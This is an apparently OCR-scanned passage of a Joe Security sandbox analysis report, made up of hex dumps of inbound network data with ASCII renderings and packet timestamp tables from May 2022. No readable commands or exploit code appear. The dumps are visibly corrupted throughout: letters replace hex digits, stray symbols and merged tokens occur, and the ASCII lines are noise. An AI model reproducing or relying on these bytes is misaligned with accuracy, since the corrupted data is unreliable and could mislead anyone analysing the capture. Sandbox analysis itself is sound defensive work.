Data Raw: b7 f6 ba b8 4f 40 80 9f 9f 33 40 80 a0 8b 9d 94 12 8b 89 9e 9f 4f a3 Of ea fa f3 a7 4f 1b 03 4f 08 a4 81 e5 97 4f
40 80 9f 9f 33 40 80 a0 a6 9d 94 Oc d5 8a b7 8d 4f a3 Oe c9 bc d4 94 4f 1e 8b cd e2 b9 4f 40 80 9f 9f 33 40 80 a0 81 9d
94 78 8a eb 8b 4f 1b 02 4f 1a b7 ef ae bc 4f 40 80 9f 9f 33 40 80 a0 88 9d 94 1c a3 98 df a6 4f 52 02 4f 83 1b a4 fb b3 a7
4f Oc bl de b1 bf 4f 40 80 9f 9f 33 40 80 9f 9c 9d 94 1f bc ae ch a5 4f 94 03 d2 dd ca 92 4f 13 9b al 8 8c 4f 40 80 9f 9f 33
40 80 a0 b0 9d 94 1e bf d1 db 9e 4f 83 08 cc ec da b9 4f 83 05 f5 ed d7 bd 4f 0d 82 ac 8e 94 4f 40 80 9f 9f 33 40 80 9f 91
9d 94 Oa af 95 a5 88 4f 4a a3 05 9c 8b d1 87 4f 12 e3 9e 9f b5 4f 40 80 9f 9f 33 40 80 a0 8f 9d 94 06 a4 c5 e0 4f 83 0d c9
bb d6 b4 4f 83 Ob f7 al d3 8b 4f 19

Data Ascii: 0@3@0000@3@000@3@x000@3@ORO00@3@000@3@0000@3@0J00@3@000

Data Raw: 4f 8f Oc 73 12 4f 03 73 1e be 31 05 a0 4f Oc 7c 83 01 81 4f 03 85 4f 1e be 31 Oa 4f 0d 1e be 01 60 80 bd 85 09
3c 4f Of 7c 83 17 4f 3e 4f 1e be 31 04 94 4f Of 7c 83 2f 4f 02 8d 4f 1e be 31 01 85 4f 01 7c 60 80 bc bc 09 02 73 08 73 60
80 bc bb 09 01 4f 40 60 80 bc ba 09 1e be 31 12 4f 0d 1e be 61 60 80 bd 85 09 0d 4f Oc 7c a3 01 98 4f 02 82 4f 1e be 31
02 88 4f 0d 1e be 61 60 80 bd 84 09 02 af 4f 8f 05 73 04 4f 03 73 1e be 31 05 4f Od 1e be 61 60 80 bd 84 09 Oc 4f 8f 05 73
10 4f 03 73 1e be 31 05 b0 4f 8f 06 73 02 4f 07 73 1e be 31 03 92 4f 0d 1e be 61 60 80 bd 85 09 02 b9 4f 8f 83 2f 4f 02 8d
4f 1e 4f 03 73 1e be 31 35 4f 8f 83 01 89 4f 03 9b 4f 09 4f 07 73 1e be 31 04 98 4f Oc 7c a3 14 4f 32 4f 1e be 31 20 4f 05
7c a3 Oe 4f 18 4f 1e bd 31 Ob 7c 25 4f 8f

Data Ascii: 0sOs10|0010°<0|0>010|/0010| ss'O@ 10a 0|0010a’0sOs10a 0sO0s10s0s10a’0/000s15000
0510|0201 O|001|%O

Data Raw: 4f 12 4f 03 73 1e be 31 01 ba 4f 8f Oc 73 02 4f 03 73 1e be 31 01 4f 0d 1e be 61 60 80 bd 84 09 07 4f 8f 83 30
4f 02 91 4f 09 4f 07 73 1e be 31 22 4f 0d 1e be 61 60 80 bd 85 09 14 4f 8f Oc 73 02 4f 03 73 1e be 31 02 b4 4f 06 7c a3

01 91 4f 22 4f 1e be 31 02 be 4f 0d 1e be 61 60 80 bd 84 09 05 b2 4f 05 7c 83 01 94 4f 03 bc 4f 1e be 31 04 a8 4f 8f a3 Ob
4f 1b 4f 00 4f 07 73 1e be 31 04 9e 4f 8f 83 01 92 4f 01 a9 4f 16 4f 03 73 1e be 31 04 8f 4f 8f a3 3f 4f 01 86 4f 05 4f 07 73
le be 31 05 87 4f 33 9b 31 1e be 31 02 a5 4f 0d 1e be 61 60 80 bd 84 09 02 ba 4f 8f 06 73 01 4f 07 73 1e be 31 03 95 4f
0d 1e be 61 60 80 bd 84 09 03 ab 4f 8f Oc 73 14 4f 03 73 1e be 31 02 al 4f Oc 7c a3 2c 4f 01 95 4f 1e be 31 3c 4f 0d 1e be
61 60 80 bd 84 09 02 83 4f 8f Oc 73 Oc 4f

Data Ascii: 00s10sOs10a’00000s1"0a’0s0s10|0"010a 0|0010000s10000s10?000s103110a 0sOs10a Os
0s10|,001<0a 0sO

Data Raw: 31 34 4f 0d 1e be 61 60 80 bd 84 09 04 87 4f 05 7c a3 18 4f 22 4f 1e be 31 04 8a 4f 06 7c a3 01 ab 4f 34 4f 1e
be 31 01 b4 4f 8f Of 73 Of 4f 07 73 1e be 31 23 4f 0d 1e be 61 60 80 bd 85 09 14 4f Oc 7c 83 2c 4f 02 86 4f 1e be 31 05 a6
4f 0d 1e be 01 60 80 bd 84 09 02 be 4f 06 7c a3 01 86 4f 01 bc 4f 1e be 31 04 aa 4f 8f Oc 73 0d 4f 03 73 1e be 31 3c 4f 0d
1e be 01 60 80 bd 85 09 04 8b 4f 8f 83 01 8e 4f 03 aa 4f Oc 4f 07 73 1e be 31 05 93 4f 8f a3 20 4f 10 4f 05 4f 03 73 le be
31 01 99 4f 8f a3 01 8f 4f Od 4f 03 4f 07 73 1e bd 31 Ob 7c 04 4f 8f Oc 73 13 4f 03 73 1e be 31 2a 4f 0d 1e be 61 60 80 bd
85 09 0d 4f Oc 7c 83 01 9e 4f 03 98 4f 1e be 31 01 8¢ 4f Oc 7c 83 30 4f 02 91 4f 1e be 31 05 84 4f 05 7c 83 39 4f 02 ad 4f
le be 31 02 9d 4f 8f Oc 73 10 4 03 73

Data Ascii: 140a'0|0"010]|04010s0s1#0a 0|,0010°0|0010s0s1<0"0000s10 O00s10000s1|0sOs1*0a’0|
0010]|00010|90010s0s
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kBytes

Timestamp transferred Direction
2022-05-23 16:46:57 UTC 28 IN
2022-05-23 16:46:57 UTC 29 IN
2022-05-23 16:46:57 UTC 30 IN
2022-05-23 16:46:57 UTC 31 IN
2022-05-23 16:46:57 UTC 33 IN
2022-05-23 16:46:57 UTC 34 IN
2022-05-23 16:46:57 UTC 35 IN
2022-05-23 16:46:57 UTC 37 IN
2022-05-23 16:46:57 UTC 38 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 85 09 02 a7 4f 8f 05 73 14 4f 03 73 1e be 31 02 87 4f 8f a3 29 4f 02 85 4f 0a 4f 03 73 1e bd 31 Ob 7c 02 aa 4f
05 7c 83 2d 4f 02 88 4f 1e be 31 04 9b 4f 8f Oc 73 02 4f 03 73 1e be 31 02 8e 4f 8f 4d 00 4f 04 73 01 4f 02 73 le be 31 02
8b 4f 8f Of 73 03 4f 07 73 1e be 31 1a 4f 8f 83 01 8c 4f 02 b6 4f 05 4f 03 73 1e be 31 04 91 4f 8f 05 73 13 4f 03 73 1e be
31 05 85 4f 8f 05 73 06 4f 03 73 1e be 31 05 8e 4f 8f 83 01 81 4f 02 98 4f 00 4f 07 73 1e be 31 02 bb 4f 8f 83 39 4f 02 ab
4f 05 4f 03 73 1e be 31 04 ab 4f 8f 83 01 bc 4f 03 99 4f 0d 4f 07 73 1e be 31 05 4f 0d 1e be 01 60 80 bd 85 09 Oa 4f 06 7c
83 2e 4f 02 8b 4f 1e be 31 15 4f Of 7c 83 13 4f 01 b7 4f 1e be 31 03 9e 4f 0d 1e be 61 60 80 bd 84 09 04 b4 4f 8f 06 73 0a
4f 07 73 1e be 31 03 b0 4f 0d 1e be 01

Data Ascii: 0sOs10)000s1|0]-0010s0s10M0s0s10s0s10000s10s0s10s0s10000s109000s1000
0s10°0|.0010|0010a 0s0s10

Data Raw: Od 1e be 61 60 80 bd 85 09 Ob 4f 05 7c a3 23 4f 3f 4f 1e be 31 03 al 4f 0d 1e be 01 60 80 bd 84 09 01 ad 4f 05
7c a3 01 8d 4f 01 a5 4f 1e be 31 04 9f 4f 8f 06 73 00 4f 07 73 1e be 31 1d 4f Od 1e be 61 60 80 bd 84 09 01 8f 4f 8f Of 73
Of 4f 07 73 1e be 31 05 9e 4f 0d 1e be 01 60 80 bd 84 09 0d 4f 8f 06 73 07 4f 07 73 1e be 31 02 92 4f 8f Of 73 Oc 4f 07 73
le be 31 05 a3 4f 8f 06 73 0d 4f 07 73 1e be 31 04 92 4f 8f 06 73 02 4f 07 73 1e be 31 05 9b 4f 02 7c 07 73 1e be 31 02 9f
4f 05 7c 83 2a 4f 02 80 4f 1e be 31 37 4f 0d 1e be 61 60 80 bd 84 09 01 ac 4f 8f Of 73 06 4f 07 73 1e bd 31 Ob 7c 02 81 4f
8f 05 73 07 4f 03 73 1e be 31 01 a4 4f 0d 1e be 61 60 80 bd 85 09 Oa 4f 03 7c 10 80 80 a3 30 20 4f 1e be 31 01 93 4f 0d
le be 61 60 80 bd 85 09 11 4f 06 7c a3 01

Data Ascii: a'O[#0?010°0|0010s0s10a 0s0s10 0s0s10s0s10s0s10s0s10|s10[*00170a 0sOs1|OsOs10a O|0
010a'0|

Data Raw: 38 bb 41 92 34 85 4a a7 4a 88 32 84 49 96 29 b1 3c bb 2d ac 4d 8c 25 8f 31 ad 3c 98 3e 83 2e 8e 31 8f 42 9e
37 ab 4a 9b 45 ba 42 b4 34 a7 38 b0 33 9b 46 8c 22 9f 2a al 39 9c 31 bc 48 b8 42 aa 3f 8d 43 be 2e 80 43 a3 2f b4 20 92
48 a8 46 84 21 8c 22 ad 44 ae 45 9c 20 8c 20 aa 34 b0 22 8f 30 ac 2a b9 36 98 3d a9 35 92 4c a8 32 8e 32 a6 43 8b 3c
88 48 94 22 83 23 ab 22 a7 2f 92 20 b8 26 94 42 84 38 81 38 a0 49 bc 37 81 3d 97 2f a8 26 88 1f 9e 27 b0 27 aa 3a a5 4b
804296 41 b1 49 a6 35 ac 31 a7 2e b6 2e a3 2a 9b 2d b2 46 ba 3d 87 25 b4 47 9f 35 8¢ 1f 8e 2f 82 2a 89 2b b9 48 81

34 97 4b 90 3d bf 31 88 3e 89 4c 86 20 a4 45 90 2e 9b 2c aa 2b 9b 28 bf 49 ac 4b b6 25 99 36 8e 21 82 24 b5 43 aa 23 9f
46 b4 2a ad 4a b1 2e b0 38 9d 34 al 29 85 28 ad 3a b7 2b 8e 3a

Data Ascii: 8A4JJ21)<-M%1<>.1B7JEB483F"*91HB?C.C/ HF!"DE 4"0*6=5L22C<H"#"/ &B8817=/&":KBAI51..*-F=
%G5/*+H4AK=1>L E.,+(IK%6!$C#F*J.84)(:+:

Data Raw: 61 40 82 00 4f 82 08 8b 4f 01 a0 80 8e a2 2d 19 73 60 80 bc 8b 09 1b 73 02 98 4f 1a 73 11 73 1b 7c 10 80 80
a3 30 08 80 80 4f 19 7c 01 a0 80 8e 88 35 1a 73 1a 7c 01 a0 80 8e 87 35 01 4f 01 4f 03 4f 10 73 19 7c 93 1e ac 61 13 73
1a 80 5f 13 7c 01 4f 0d 1a 80 5f 60 80 be 94 2d 01 a0 80 84 a7 2d 01 a0 80 84 a7 2d 18 73 01 a0 80 8e al 2d 01 a0 80
81 a3 2d 60 80 bc a4 09 18 73 01 a0 80 81 a0 09 40 80 9c a3 33 01 a0 80 83 bd 2d 40 01 a0 80 82 89 2d 62 8¢ 14 73 00
4f 14 73 40 01 a0 80 83 b7 35 01 4f 17 73 18 73 18 7c 60 80 bc a3 09 17 7c 01 a0 80 84 84 2d 16 73 15 73 01 a0 80 84 8
1 2d 01 4f 40 60 80 bc 88 09 16 7c 2b 73 8f 2¢ 73 Of 4f 2b 73 2¢ 7c a3 01 b2 4f 31 4f 8f 2c 73 Of 4f 2b 73 2¢c 7c a3 01 4f 01
a4 4f 8f 2c 73 0f 4f 2b 73 2¢ 7c a3 01 9b 4f 15 4f 8f 2¢ 73

Data Ascii: a@00-s'sOss|00|5s|5000sl|as_|O_ ---s--'s@3-@-bsOs@50ss||-ss-O@|+s,50+s,|010,50+s,|00,sO
+s,|00,s

Data Raw: 9d 4f 1c 4f 2f 73 8f 31 73 1c 4f 2f 73 31 7c 83 3a 4f 02 b0 4f 8f 30 73 1c 4f 2f 73 30 7c 83 01 85 4f 03 8f 4f 8f 83
01 a9 4f 02 82 4f 1b 4f 2f 73 8f 83 01 80 4f 03 80 4f 1b 4f 2f 73 8f 30 73 1b 4f 2f 73 30 7c a3 10 4f Ob 4f 8f a3 18 4f 01 a0 4
1b 4f 2f 73 8f a3 01 bc 4f 01 al 4f 1b 4f 2f 73 8f 30 73 1b 4f 2f 73 30 7c a3 0d 4f 01 b5 4f 8f 30 73 1a 4f 2f 73 30 7c a3 20
4f 01 ac 4f 8f a3 01 b5 4f 1d 4f 1a 4f 2f 73 8f 31 73 1a 4f 2f 73 31 7c a3 01 bb 4f 01 b8 4f 8f 30 73 1a 4f 2f 73 30 7¢ 83 01
8b 4f 03 a3 4f 8f a3 01 a4 4f 01 82 4f 1a 4f 2f 73 8f 31 73 19 4f 2f 73 31 7c 83 01 ae 4f 03 9a 4f 8f 83 3f 4f 02 be 4f 19 4f 2f
73 8f 83 2c 4f 02 85 4f 19 4f 2f 73 8f 31 73 18 4f 2f 73 31 7c a3 38 4f 03 81 4f 8f 30 73 18 4f 2f 73 30 7c a3 14 4f 01 82 4f
8f83 01 89

Data Ascii: 00/s1s0/s1|:000s0/s0|00000/sO00/s0s0/s0|00000/sO00/s0sO/s0|000sO/s0] OOO00/s1s
0/s1]|000s0/s0|00000/s1s0/s1|00?000/s,000/s1s0/51|8000s0/s0|00

Data Raw: 01 aa 4f 07 4f 07 4f 2f 73 8f 30 73 07 4f 2f 73 30 7c 83 36 4f 02 a4 4f 8f 30 73 06 4f 2f 73 30 7c 83 01 aa 4f 02
99 4f 8f a3 35 4f 2b 4f 06 4f 2f 73 8f 31 73 06 4f 2f 73 31 7c 83 01 93 4f 03 b9 4f 8f 83 26 4f 01 96 4f 05 4f 2f 73 8f 83 01
94 4f 03 be 4f 05 4f 2f 73 8f 30 73 05 4f 2f 73 30 7c a3 01 8a 4f 14 4f 8f 30 73 04 4f 2f 73 30 7c 83 01 94 4f 01 b1 4f 8f 30
73 04 4f 2f 73 30 7c a3 01 ba 4f 35 4f 8f 83 2b 4f 02 81 4f 04 4f 2f 73 8f 83 01 8a 4f 03 a0 4f 04 4f 2f 73 8f 31 73 03 4f 2f
73 31 7c 83 01 9c 4f 02 8c 4f 8f 31 73 03 4f 2f 73 31 7c 83 01 90 4f 03 b1 4f 8f 83 37 4f 02 a7 4f 03 4f 2f 73 8f 83 36 4f 02
a2 4f 03 4f 2f 73 8f 30 73 03 4f 2f 73 30 7c 83 3a 4f 02 af 4f 8f 83 0d 4f 01 b5 4f 02 4f 2f 73 8f 31 73 02 4f 2f 73 31 7c a3
36 4f 1c 4f 8f 31 73

Data Ascii: O00/s0s0/s0|6000s0/s0|0050+00/s1s0/s1|00&000/sO00/s0s0/s0|000s0/s0|O00sO/s0|05
0+000/s000/s1s0/s1|001s0/s1|007000/s6000/s0s0/s0|:00000/s1s0/s1|6001s

Data Raw: 24 a7 ce 03 b3 5d 40 0a 53 6b 7b 92 e3 2c el 65 7e d9 2c 4c db bb fc 65 0d 5 Oc 3d 40 41 c6 49 4e be 87 e5
fd 36 62 98 ba 7c 7f ¢1 07 10 15 73 4d 57 84 €0 7e 74 fd 9d 6e 81 76 2b 87 a0 54 7f b3 a2 7d 2e 3d f1 e5 7c 05 4b 62 e2
1c c9 b6 04 fe 51 9a 61 60 e9 ad 07 9d 53 7d 9e 5f 93 a4 b7 4e 74 ac 3a 13 26 18 e4 bd 98 90 59 fb 23 80 47 ef 6d 5f 2e
2e 0d 79 04 c7 f1 3a b5 b6 10 d8 04 cb 8d 5f e6 49 28 Oc 1b 64 2f 49 1b fb a2 fO bf f2 6d b3 99 8a c2 4d da 99 17 2d 62
e7f2 78 82 24 32 b5 06 fa 18 6d 53 48 70 67 63 04 fb 21 c9 c¢5 78 a8 65 1d 18 52 10 19 eb ca 17 61 e8 ed d2 cc 54 6a 88
ch 9a ee ad e3 b1 8f f8 ae 18 3c 2a df 7e 75 36 cd b7 67 60 33 23 4d 21 76 a6 08 cb 0f b0 34 3c 48 ba 4b c4 3c 8c d6 ba
€842 49 c3 47 04 88 76 €0 b0 03 3e 7a 6¢ 09 81 cf 02 da

Data Ascii: $]@Sk{,e~,Le=@AIN6b|sMW~tnv+T}.=|KbQa'S}_Nt:&Y#Gm_..y:_I(d/ImM-bx$2mSHpgc!xeRaTj<*~u6g'3
#MIVA<HK<BIGv>zI

Data Raw: ¢4 57 13 3a b6 93 Ob d1 b1 75 c5 d5 21 61 0f 55 85 3e 61 3a 13 bf 56 ee 07 f5 b5 5¢ d7 73 f9 5d 83 81 70 dO
bc b5 b9 34 12 8f 6f 99 45 28 6f 8d bd 00 b3 27 97 ac a4 2e 1a 36 ae 36 84 68 bl 7b 10 4e f6 d4 5b 62 c8 db c8 42 8a 55
3556 8b 21 90 44 5f 52 33 64 7e 35 9c 4a bb bc 26 89 d0 19 12 72 f0 50 13 39 81 4a 38 43 ee €9 7 7b 69 bb 83 ea 01 19
cc f5 12 e3 0f 86 38 a5 d9 b6 8c 97 Oe 12 69 67 36 5f b6 a6 50 cf 4e e9 53 Ob 42 98 39 33 19 e7 f1 cf 15 4b 05 aa 52 3a
03 5c a4 9d 86 7a c1 89 7e 9b 0a 59 6d 57 7a 84 30 b8 db bd 44 96 f3 ca f8 el fc a8 f5 c4 07 4d d9 dO 03 69 Of b0 34 51
67 b5 19 24 d9 23 65 Oa 4e 97 bl 3c 4c f2 ed €0 32 f4 7c ¢7 93 61 a0 4d c6 82 da ac 50 91 c1 9c 39 df a5 32 ac fe 00 Ob
96 70 6f 3a 9d 5f 69 32 ff ea 4f ef 9e 61 41 91 0a 74 al

Data Ascii: W:ulaU>a:V\s]p4oE(0'.66h{N[bBU5V!D_R3d~5J&rP9J8C{i8ig6_PNSBI3KR:\z~YmWz0DMi4Qg$#eN<L2|aM
P92po:_i20aAt

Data Raw: e0 27 fe 5d 55 fc €3 ba ce 43 fe b3 41 18 50 40 84 32 9b 2a e0 1a ef ¢8 3c cf b0 €3 54 09 1b de 90 90 97 51 af
fc eb d2 74 fb 13 da 45 91 89 24 62 dd ed 13 dc fb 26 45 17 32 b3 05 ad 9e bd 70 Oe 93 fb 3a 87 f0 73 09 66 65 4b 34 bb
ba 17 2d c8 06 3a f2 7a b3 03 fe 5d d4 el da bl 2f 4b 7b a7 b7 29 0d e7 bc c4 43 30 6b 84 04 7b c0 €3 97 c7 02 af 93 f7
c5 a2 9a b5 d8 37 6a 29 1a 6a 9b db d1 27 19 ea 51 44 b5 27 08 Oc 3c 5c dO f5 5a a4 ec fe 54 52 59 1c fb 27 aa 98 2¢ d5
5e 60 cf e2 07 bb 93 12 8a c2 6a ba 5a 18 e5 4b 35 7c e6 5¢ e2 24 73 2d f8 59 85 ¢3 a9 08 4f 9a b5 80 bc a2 fd Oc a7 2b
a4 f6 56 c4 7e 00 2b 3f 54 Ob 1c 39 8e 28 22 04 5b ff 2a 99 6d 75 d5 71 58 99 09 bb a3 47 63 5¢ 53 bd cb 96 b6 ba 5b 4a
7176 69 22 5d 12 aa e3 a6 €9 b9 36 68 ad 32 d5 df 5e

Data Ascii: JUCAP@2*<TQtE$b&E2p:sfeK4-:z)/K{)COk{7})iQD'<\ZTRY",A'jZK5[\$s-Y O+V~+2TI("[*mugXGc\S[Jqvi“]6h2”
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kBytes

Timestamp transferred Direction
2022-05-23 16:46:57 UTC 39 IN
2022-05-23 16:46:57 UTC 41 IN
2022-05-23 16:46:57 UTC 42 IN
2022-05-23 16:46:57 UTC 43 IN
2022-05-23 16:46:57 UTC 45 IN
2022-05-23 16:46:57 UTC 46 IN
2022-05-23 16:46:57 UTC 47 IN
2022-05-23 16:46:57 UTC 49 IN
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Copyright Joe Security LLC 2022

Data

Data Raw: 12 bd f8 36 16 6b 80 c1 17 3fc3 06 c1 15 cb 42 65 70 40 40 ea b1 28 03 65 bc fc 80 58 ab d6 40 91 54 6e 34
bb 94 2e 9c ec 80 db fe 03 0d 9f 01 5¢c 09 ae a5 b4 1c 9a 0a e4 92 20 24 ed e0 30 3a 5b b9 94 42 bf e6 d2 38 c3 bf 33 32
39 f0 b8 e6 15 2a ad 87 d9 8f f9 30 52 a6 bc 90 90 dO 23 da 98 4c dd 2c 1f 59 fO aa b2 a8 e3 4e 28 4a 47 12 44 93 e5 62
4d b1 b4 ba 6d Ob c0 ab Oc 38 6e 4f de ad 4e 59 16 5a ac 98 44 70 31 3a 84 5a 51 68 fb 70 ff 37 eb €8 4f 9e 1d b8 97 2b
dc 62 2e 1e 54 2a 8 95 cf c0 35 09 e8 94 29 25 18 c3 64 fbh 50 ee 22 4c a8 28 57 5d 1c 77 78 1a 13 b5 Oc ee 14 48 5d e7
6C 43 48 78 97 €9 b1 ca 9c 8¢ 5f 6a 2¢ 98 a3 1d 08 8¢ 70 0a 9d 63 a6 94 95 8¢ 21 ae 74 c1 a7 d8 9e b7 6b e4 2d d6 6e
cc 2f 37 42 fa e4 06 fe fd 7b 7e 99 db da 66 27 98 f5 88 5b

Data Ascii: 6k?Bep@ @ (eX@Tn4.\ $0:[B8329*0R#L,YN(JGDbMm8nONYZDp1:ZQhp70+b.T*5)%dP"L(W]wxH]ICHxX_j,pc!t
k-n/7B{~f[

Data Raw: 3b f9 91 04 07 b5 1f 1b e6 86 99 c9 78 6f 29 cb ¢3 29 2b c2 35 4c f7 30 db 17 bb f5 11 99 91 cb 1b cf 17 33 00
59 b5 aa d2 a0 89 29 b9 5c 94 8f Ob 49 ce 64 7c 87 6d 8c 3d 44 a0 23 7d c7 2e 6b 18 db 30 20 e4 ea c2 c9 ef 12 09 a2 8e
Oa 1b e3 36 ae 62 72 4a f7 00 18 44 8a 21 76 21 15 ec 02 2a c5 bf 97 6e ea ce 8a 6b 9b 8e 8b c9 08 8b f0 f5 3e 66 7a 07
e5 0f al 66 20 24 7c 2e ac 5f da 46 73 df d2 e6 b2 48 d8 f0 46 11 19 ad 19 ab 4c 22 d4 07 08 e8 b2 af c9 3f 22 b1 32 b9
24 7f12 05 df c4 a0 33 6b 47 17 c7 c0 91 cb 43 53 4a 14 2c 4b €3 99 ¢8 9a c7 1c bc f9 a3 f9 6f b1 30 18 5e df 77 26 43
b7 09 27 2a b1 6¢ 83 10 17 43 c0 b2 9a 03 Oc 49 79 27 5c 28 Oc 45 3e f2 f9 04 a8 44 63 80 a2 35 ca cl 4d 82 eb 97 92 ce
09 la ee a0 b7 87 98 6f dc a6 al 09 21 27 34 76 20 89

Data Ascii: ;x0))+5L03Y)\Id|m=D#}.k0 6brJD!v!*nk>fzf $|._FsHFL"?"2$3kGCSJ,Ko0*w&C"*ICly"\(E>Dc5Mo!'4v

Data Raw: 74 66 dO 7f 5a 90 86 a0 45 d8 31 df 14 bb 23 c5 cc be ca 1le 20 €5 61 75 72 ac 61 f4 65 41 77 a4 el 03 1b 8e
c8 de 60 91 6e bf 37 09 b0 f6 80 3c eb 2d b2 40 52 13 30 f7 91 89 46 85 a2 56 e7 16 ca 33 ae fe 9c 4f 80 ad bl €9 81 55
33f9 6d 59 12 ba 1c 65 d4 a0 1d 3a 6¢ d1 b3 ae 45 a4 7a 1e 0a 39 ba 58 74 c9 6a 79 51 f9 2c 29 a4 03 de 1d 96 89 30 3f
71523328 d9 a0 25 99 83 34 92 4e 76 87 72 24 82 aa dd ac 0d 9a 81 a9 1d 83 f8 2a 85 65 d1 Of 41 8b 94 71 Of eb ad 2e
3d ec 17 68 4c 2a e0 d1 bf 74 70 49 d1 d4 aa 7b b2 70 98 5e 9c 3f f5 2c 16 5e a2 67 49 7a 30 ec 68 al b4 04 c1 00 la 32
60 e3 b2 4d a9 Oa e0 81 ea df 24 1f 00 57 9a 49 86 54 9a 7f 4d e5 79 e3 5d 71 27 95 {8 88 b3 b4 1a f2 74 98 5e b9 5d db
fd f9 4b 0d c1 ba 4b 4e €2 09 90 b9 21 b0 94 0a b6 99 32

Data Ascii: tfZE1# auraeAw n7<-@ROFV30U3mYe:lEz9XtjyQ,)0?qR3(%4Nvr$*eAq.=hL*tpl{p"?,7glz0h2* M$WITMy]
g't\JKKN!2

Data Raw: ¢4 45 0d c7 17 ee c8 dc 78 8f 2c d0 37 80 6d 9c 3b 41 7a fb b2 97 34 ¢3 61 88 3a fd 60 1d 22 d8 72 98 20 b8
b8 ad eb a8 a2 df 9e 29 43 7b 04 46 38 d2 81 8e f0 86 10 7d b1 75 7a 38 ad dc 91 86 2b 4e el 48 c0 70 de 2b ab cf d9 7e
17 73 56 2f 30 84 72 77 4c ad fe 1f 3 71 19 4c 99 5 69 50 d1 11 2a 87 ae 43 4c 55 cf e3 Ob 56 a3 f6 26 Ob 44 4f d8 29 e9
40 c5 e4 d0 86 b8 eb 04 9d ca d8 fa Of 43 dc b6 e2 3b f8 85 cd d5 8d b8 77 5b 17 aa 35 85 34 d7 3b 65 34 83 85 9d eb c5
2a3b 56 36 52 d2 41 ad 3c 9a b6 35 10 ec 44 24 dd f5 fa c2 ef 61 8d da c4 cc bc ee cf 4¢c 3d cd b7 27 bc 7a 2e 2d dc ac
04 e6 d0 9f eb 17 7c e5 dO 3a 41 ba 7d c9 35 be c7 7b 8f b2 be 86 c2 33 03 e2 f7 ab 3a 54 4d 95 15 1c ba 63 2f 2a 88 1f
be 33 9b f3 bb 47 35 e0 60 f5 36 00 21 3f a9 b1 74 c6

Data Ascii: Ex,7m;Az4a:™"r )C{F8}uz8+NHp+~sV/0OrwLgLiP*CLUV&DO)@C;w[54;e4*V6RA<5D$al="z.-|:A}5{3: TMc
/*3G5°6!?t

Data Raw: c5 4a 17 f1 4b 48 35 2a 29 19 ea 47 ab fb 3d 43 2a a7 63 66 f5 d4 bf 44 03 f0 fe b2 bf 9f c6 b0 9f d3 70 €9 4a
bf cf 74 ca df bd ¢3 10 bd 25 86 b1 4c b4 2b 82 €9 b7 Ob 43 e0 6¢ 6¢ 5f 77 d1 33 ¢3 da a0 9f f9 72 fb 01 ec a5 87 08 47 87
a0 5a 28 3c 7b f6 63 44 61 55 66 dO cb 06 fe 3a 51 ¢9 97 a7 b6 20 e9 ea 8¢ 9d 6b 71 e8 11 6a cc 5e d8 4f 09 b4 e5 40 08
9a 43 f2 a7 84 57 bc be d6 64 19 a4 05 85 69 3d 9c 63 f7 2c 89 55 88 66 3a 19 d8 3a 83 a0 53 31 c0 8¢ 97 a0 e8 84 79
a2 dc df 66 d9 9a aa 7d 83 15 6e fb 1f c2 88 8e 05 87 92 10 10 fe a2 44 cd Oc e6 b9 35 26 a3 db d9 19 42 4d 37 7f 1b 2e
32 0a 9d cc el b2 8¢ ff 05 5d 00 1d a9 1e 85 5a ac 7b 5f c0 fd 49 58 78 5b ca fb df 5e 47 12 11 4e 2a f4 8d 78 8d b5 34
66 2f 5a df 6d 50 42 Ob b7 59 4d 5a 4f cf a0 7a a4 18

Data Ascii: JKH5*)G=C*cfDpJt%L+Cll_w3rGZ(<{cDaUf:Q kqj*O@CWdi=c,Uf::S1yfinD5&BM7.2]Z{_IXx["GN*x4f/Zm
PBYMZOz

Data Raw: 33 b7 c5 0f c0 al 37 70 9b 68 75 9a cf 73 d1 df bf a9 58 43 ee 8d 42 19 1c a0 c6 d8 Of 4d 94 86 38 d6 ed e2 a4
63 fc 1e 48 a3 a3 Oa ff 18 c3 ee 95 fd b5 b2 71 0d 78 91 70 90 a7 10 78 40 b5 57 59 88 6¢ 34 ec 28 96 d8 cd a4 25 5¢ 22
df bc 3f98 1c 3e 3b ce 17 ec 7a 1b eb 93 99 1e 0d 8¢ 73 02 59 dd 75 4d 38 8e df 01 65 d1 a8 d9 fO Oa e5 e3 37 bf 36 4b
4 f1 54 df b5 ef d5 40 fd 46 8f b7 2b f8 b8 85 4e 70 4d 56 5 75 e9 9a 96 €3 6e b6 Ob 49 92 06 c5 64 c7 d7 ac fd c8 59 af
90 64 81 Oe ec b5 72 3¢ 59 fd el 6d 04 c4 b3 Ob b7 c5 f6 13 0a 3e Oc 64 a8 22 ef 71 5e 61 b7 a0 c¢8 92 e2 94 f9 6e 59 5e
8d 68 2b b2 f1 14 63 14 db el 8e bf 13 cf 68 4e 6 8a f7 80 55 7 67 6e 72 dd cd b8 ac 89 al cd f8 13 bb 63 a8 a8 5¢ 72 el
a6 d3 16 b8 42 6¢ 9f 74 1a 67 53 5b d1 20 31 d8

Data Ascii: 37phusXCBM8cHaxpx@WY14(%\"?>;zsYuM8e76KT@F+NpMVunldYdr<Ym>d"g*anY~h+chNUgnrc\rBItgS[ 1

Data Raw: 8f 72 bc 17 d1 fe 2a 8b c¢5 71 56 61 ab 3e b3 84 08 26 6a 9d dd 8d bb 35 36 2b f2 99 a7 30 53 8b 4a f5 1c 8¢
08 ca a3 68 9f 9e 66 fa 8f 64 38 01 7a f3 93 ef ff {7 24 20 3e d0 d6 61 Od ca 81 a0 99 47 82 9f 36 1¢ 97 79 d2 3e ef bl e8
6e 49 95 e4 d0 8a 66 fe 69 ca 31 1a 44 21 94 97 e3 {7 5e 95 fd 39 db b2 38 e0 6e 3a fc 01 35 68 ¢4 6e 7c 4c b6 66 44 fd
ba bc 24 f2 43 03 63 1b de eb 1d 7c ¢3 30 e5 17 92 61 4a 1d 93 43 ff 22 61 b4 3e 80 8d 66 3e 75 f9 e9 7c 9b 23 db 5a 02
70 5e 09 1e 51 2b 5b 5f 3e 68 cb 27 59 e0 d4 a6 b5 25 27 d7 46 37 e2 1d 7d 34 bd bf d9 98 f9 c4 12 da 62 05 c2 df a3 a5
4a aa a6 3d 8c 27 9b b9 3e 89 16 4a df 4f 01 71 56 fd el 6f 8a a0 cd bd 04 a2 f1 f9 51 ae 92 22 a8 dd 62 87 le 15 a7 6a
72 8b 65 b5 ba 47 38 el 36 f2 c2 de 54 48 34 7a Ob 85

Data Ascii: r*qVa>&j56+0SJhfd8z$ >aG6y>nlfi1D!"98n:5hn|LfD$Cc|0alC"a>f>ul#Zp Q+[_>h'Y%'F7}4bJ=">JOqV
